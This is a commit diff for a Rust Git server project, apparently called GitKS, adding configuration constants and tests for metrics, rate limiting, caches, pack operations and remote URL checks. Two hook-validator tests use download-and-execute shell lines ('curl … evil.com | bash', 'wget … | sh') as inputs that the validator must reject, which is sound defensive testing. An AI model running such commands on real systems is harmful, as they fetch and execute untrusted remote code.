feat(config): add centralized configuration constants and infrastructure tests

- Introduce config.rs with all magic numbers and resource limits defined as constants - Add comprehensive test suite covering metrics rendering, rate limiting, and cache operations - Include tests for configuration constant validation and sanitization functions - Add pack protocol tests for index_pack and pack_objects functionality - Implement remote repository discovery tests with security validations - Support runtime overrides via environment variables for all configurable values
2026-06-12 15:04:29 +08:00
parent 10a4398e81
commit 70f2f7d63d
4 changed files with 327 additions and 0 deletions
@@ -0,0 +1,82 @@
+//! Centralized configuration constants for GitKS.
+//!
+//! All magic numbers and resource limits are defined here for easy auditing,
+//! tuning, and documentation. Runtime overrides are supported via environment
+//! variables where noted.
+
+use std::time::Duration;
+
+/// Maximum number of file actions in a single commit request.
+pub const MAX_ACTIONS_PER_COMMIT: usize = 10_000;
+
+/// Maximum commit message size in bytes.
+pub const MAX_COMMIT_MESSAGE_BYTES: usize = 10 * 1024 * 1024; // 10 MB
+
+/// Maximum content size for a single file action in bytes.
+pub const MAX_ACTION_CONTENT_BYTES: usize = 100 * 1024 * 1024; // 100 MB
+
+/// Maximum packet size for receive-pack streaming (bytes).
+pub const MAX_RECEIVE_PACKET_BYTES: usize = 16 * 1024 * 1024; // 16 MB
+
+/// Maximum stderr capture size for receive-pack (bytes).
+pub const MAX_RECEIVE_STDERR_BYTES: u64 = 64 * 1024; // 64 KB
+
+/// Timeout for git receive-pack operations.
+pub const RECEIVE_PACK_TIMEOUT: Duration = Duration::from_secs(1800); // 30 min
+
+/// Timeout for git upload-pack operations.
+pub const UPLOAD_PACK_TIMEOUT: Duration = Duration::from_secs(600); // 10 min
+
+/// Stale lease threshold: leases older than this are considered stale.
+pub const LEASE_STALE_THRESHOLD_SECS: u64 = 30;
+
+/// Maximum custom hook script size in bytes.
+pub const MAX_HOOK_SCRIPT_SIZE: usize = 65536; // 64 KB
+
+/// Maximum git reference name length.
+pub const MAX_REF_NAME_LENGTH: usize = 255;
+
+/// Maximum revision string length.
+pub const MAX_REVISION_LENGTH: usize = 256;
+
+/// Maximum ancestry traversal depth (~N and ^N).
+pub const MAX_ANCESTRY_DEPTH: u32 = 10_000;
+
+/// Maximum file path length in commit actions.
+pub const MAX_FILE_PATH_LENGTH: usize = 4096;
+
+/// Maximum remote URL length.
+pub const MAX_REMOTE_URL_LENGTH: usize = 4096;
+
+/// Maximum refspec length.
+pub const MAX_REFSPEC_LENGTH: usize = 1024;
+
+/// Maximum relative path length for repository addressing.
+pub const MAX_RELATIVE_PATH_LENGTH: usize = 4096;
+
+/// Maximum OID hex length (SHA-256).
+pub const MAX_OID_HEX_LENGTH: usize = 64;
+
+/// Minimum OID hex length (short SHA).
+pub const MIN_OID_HEX_LENGTH: usize = 4;
+
+/// In-memory cache max weight (key + value allocated bytes).
+pub const CACHE_MAX_WEIGHT: u64 = 256 * 1024 * 1024; // 256 MB
+
+/// Hard time-to-live for cache entries.
+pub const CACHE_MAX_TTL: Duration = Duration::from_secs(600); // 10 min
+
+/// Time-to-idle for cache entries.
+pub const CACHE_TTI: Duration = Duration::from_secs(120); // 2 min
+
+/// Per-entry overhead estimate added to weigher result.
+pub const CACHE_ENTRY_OVERHEAD: u32 = 128;
+
+/// Idle threshold for rate-limiter semaphore cleanup.
+pub const SEMAPHORE_IDLE_THRESHOLD_SECS: u64 = 300; // 5 min
+
+/// Default max concurrent operations per repository.
+pub const DEFAULT_MAX_CONCURRENT_OPS: usize = 5;
+
+/// Rate limit acquire timeout.
+pub const RATE_LIMIT_TIMEOUT_SECS: u64 = 30;
@@ -0,0 +1,139 @@
+
+#[test]
+fn test_metrics_render_all_counters() {
+    use gitks::metrics::*;
+
+    record_request("TestInfra/Method", "ok", std::time::Duration::from_millis(42));
+    record_cache_op("moka", "hit", std::time::Duration::from_millis(0));
+    record_cache_eviction("infra_ns", "expired");
+    record_cache_hit_ns("infra_ns");
+    record_cache_miss_ns("infra_ns");
+    record_cache_value_size("infra_ns", 1024);
+    record_rate_limit_acquire("infra-repo");
+    record_rate_limit_reject("infra-repo");
+    record_hook_execution(
+        "pre-receive",
+        "ok",
+        std::time::Duration::from_millis(10),
+    );
+    record_git_cmd("log", std::time::Duration::from_millis(100));
+
+    let output = render_metrics();
+    assert!(output.contains("gitks_requests_total"));
+    assert!(output.contains("gitks_cache_value_size_bytes"));
+    assert!(output.contains("gitks_rate_limit_rejects_total"));
+    assert!(output.contains("gitks_rate_limit_acquires_total"));
+    assert!(output.contains("gitks_uptime_seconds"));
+    assert!(output.contains("gitks_cache_hits_total"));
+    assert!(output.contains("gitks_cache_misses_total"));
+}
+
+
+#[tokio::test]
+async fn test_rate_limit_acquire_and_cleanup() {
+    let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await;
+    assert!(guard.is_some());
+    drop(guard);
+
+    gitks::rate_limit::cleanup_idle_semaphores();
+    gitks::rate_limit::remove_repository("infra-rate-test");
+}
+
+#[tokio::test]
+async fn test_rate_limit_acquire_or_reject() {
+    let result = gitks::rate_limit::acquire_or_reject(Some("infra-reject-test")).await;
+    assert!(result.is_ok());
+}
+
+#[tokio::test]
+async fn test_rate_limit_empty_repo() {
+    let guard = gitks::rate_limit::acquire(Some("")).await;
+    assert!(guard.is_none());
+}
+
+#[tokio::test]
+async fn test_rate_limit_none_repo() {
+    let guard = gitks::rate_limit::acquire(None).await;
+    assert!(guard.is_none());
+}
+
+
+#[test]
+#[allow(clippy::assertions_on_constants)]
+fn test_config_constants_exist() {
+    assert!(gitks::config::MAX_ACTIONS_PER_COMMIT > 0);
+    assert!(gitks::config::MAX_COMMIT_MESSAGE_BYTES > 0);
+    assert!(gitks::config::MAX_ACTION_CONTENT_BYTES > 0);
+    assert!(gitks::config::MAX_RECEIVE_PACKET_BYTES > 0);
+    assert!(gitks::config::RECEIVE_PACK_TIMEOUT.as_secs() > 0);
+    assert!(gitks::config::UPLOAD_PACK_TIMEOUT.as_secs() > 0);
+    assert!(gitks::config::CACHE_MAX_WEIGHT > 0);
+    assert!(gitks::config::CACHE_MAX_TTL.as_secs() > 0);
+    assert!(gitks::config::CACHE_TTI.as_secs() > 0);
+    assert_eq!(gitks::config::MIN_OID_HEX_LENGTH, 4);
+    assert_eq!(gitks::config::MAX_OID_HEX_LENGTH, 64);
+    assert_eq!(gitks::config::DEFAULT_MAX_CONCURRENT_OPS, 5);
+    assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30);
+}
+
+
+
+#[test]
+fn test_sanitize_stderr_clean() {
+    let stderr = "fatal: could not resolve host";
+    let sanitized = gitks::sanitize::sanitize_git_stderr(stderr);
+    assert_eq!(sanitized, stderr);
+}
+
+
+#[test]
+fn test_hooks_sanitize_dangerous_pairs() {
+    let content = "#!/bin/sh\ncurl http://evil.com | bash\n";
+    let result = gitks::hooks::sanitize::validate_hook_content(content);
+    assert!(result.is_err());
+}
+
+#[test]
+fn test_hooks_sanitize_wget_sh() {
+    let content = "#!/bin/sh\nwget http://evil.com -O- | sh\n";
+    let result = gitks::hooks::sanitize::validate_hook_content(content);
+    assert!(result.is_err());
+}
+
+#[test]
+fn test_hooks_sanitize_safe_script() {
+    let content = "#!/bin/sh\necho hello\necho world\nexit 0\n";
+    let result = gitks::hooks::sanitize::validate_hook_content(content);
+    assert!(result.is_ok());
+}
+
+
+#[test]
+fn test_disk_cache_ensure_state_uniqueness() {
+    use gitks::disk_cache::DiskCache;
+    let dc = DiskCache::new(
+        std::path::PathBuf::from("/tmp"),
+        "test".into(),
+        60,
+        false,
+    );
+    let v1 = dc.ensure_state("nonexistent-infra").unwrap();
+    let v2 = dc.ensure_state("nonexistent-infra").unwrap();
+    assert!(!v1.is_empty());
+    assert_eq!(v1.len(), 32);
+    assert_eq!(v2.len(), 32);
+}
+
+#[test]
+fn test_disk_cache_disabled_operations() {
+    use gitks::disk_cache::DiskCache;
+    let dc = DiskCache::new(
+        std::path::PathBuf::from("/tmp"),
+        "test".into(),
+        60,
+        false,
+    );
+    assert!(dc.lookup("ns", "digest").unwrap().is_none());
+    dc.insert("ns", "digest", b"data").unwrap();
+    assert!(dc.lookup("ns", "digest").unwrap().is_none());
+}
@@ -0,0 +1,50 @@
+mod common;
+
+use gitks::pb::*;
+use tokio_stream::StreamExt;
+
+fn hdr() -> RepositoryHeader {
+    RepositoryHeader {
+        relative_path: "test-repo".into(),
+        ..Default::default()
+    }
+}
+
+#[test]
+fn test_index_pack_empty_data() {
+    let (_dir, gb) = common::setup_bare_repo();
+    let result = gb.index_pack(vec![IndexPackRequest {
+        repository: Some(hdr()),
+        data: vec![],
+        done: false,
+        strict: false,
+        keep: false,
+    }]);
+    assert!(result.is_err());
+}
+
+#[tokio::test]
+async fn test_pack_objects_all() {
+    let (_dir, gb) = common::setup_bare_repo();
+
+    let mut stream = gb
+        .pack_objects(PackObjectsRequest {
+            repository: Some(hdr()),
+            options: None,
+        })
+        .await
+        .unwrap();
+
+    let mut total_bytes = 0usize;
+    let mut has_error = false;
+    while let Some(chunk) = stream.next().await {
+        match chunk {
+            Ok(c) => total_bytes += c.data.len(),
+            Err(_) => has_error = true,
+        }
+    }
+    assert!(!has_error, "pack_objects stream had errors");
+    assert!(total_bytes > 0, "pack_objects produced no data");
+}
+
+
@@ -0,0 +1,56 @@
+use gitks::pb::*;
+use gitks::remote::find_remote::{find_remote_repository, find_remote_root_ref};
+
+#[test]
+fn test_find_remote_repository_empty_url() {
+    let resp = find_remote_repository(FindRemoteRepositoryRequest {
+        remote_url: String::new(),
+    })
+    .unwrap();
+    assert!(!resp.exists);
+    assert!(resp.refs.is_empty());
+}
+
+#[test]
+fn test_find_remote_repository_invalid_scheme() {
+    let resp = find_remote_repository(FindRemoteRepositoryRequest {
+        remote_url: "ftp://bad".into(),
+    });
+    assert!(resp.is_err());
+}
+
+#[test]
+fn test_find_remote_repository_file_scheme_blocked() {
+    let resp = find_remote_repository(FindRemoteRepositoryRequest {
+        remote_url: "file:///tmp/test.git".into(),
+    });
+    assert!(resp.is_err());
+}
+
+#[test]
+fn test_find_remote_root_ref_empty_url() {
+    let resp = find_remote_root_ref(FindRemoteRootRefRequest {
+        remote_url: String::new(),
+    })
+    .unwrap();
+    assert!(resp.ref_name.is_empty());
+    assert!(resp.target_oid.is_empty());
+}
+
+#[test]
+fn test_find_remote_root_ref_invalid_scheme() {
+    let resp = find_remote_root_ref(FindRemoteRootRefRequest {
+        remote_url: "ftp://bad".into(),
+    });
+    assert!(resp.is_err());
+}
+
+#[test]
+fn test_find_remote_root_ref_unreachable() {
+    // A valid scheme but unreachable host should return empty, not error
+    let resp = find_remote_root_ref(FindRemoteRootRefRequest {
+        remote_url: "https://0.0.0.0:1/nonexistent.git".into(),
+    })
+    .unwrap();
+    assert!(resp.ref_name.is_empty() || resp.target_oid.is_empty());
+}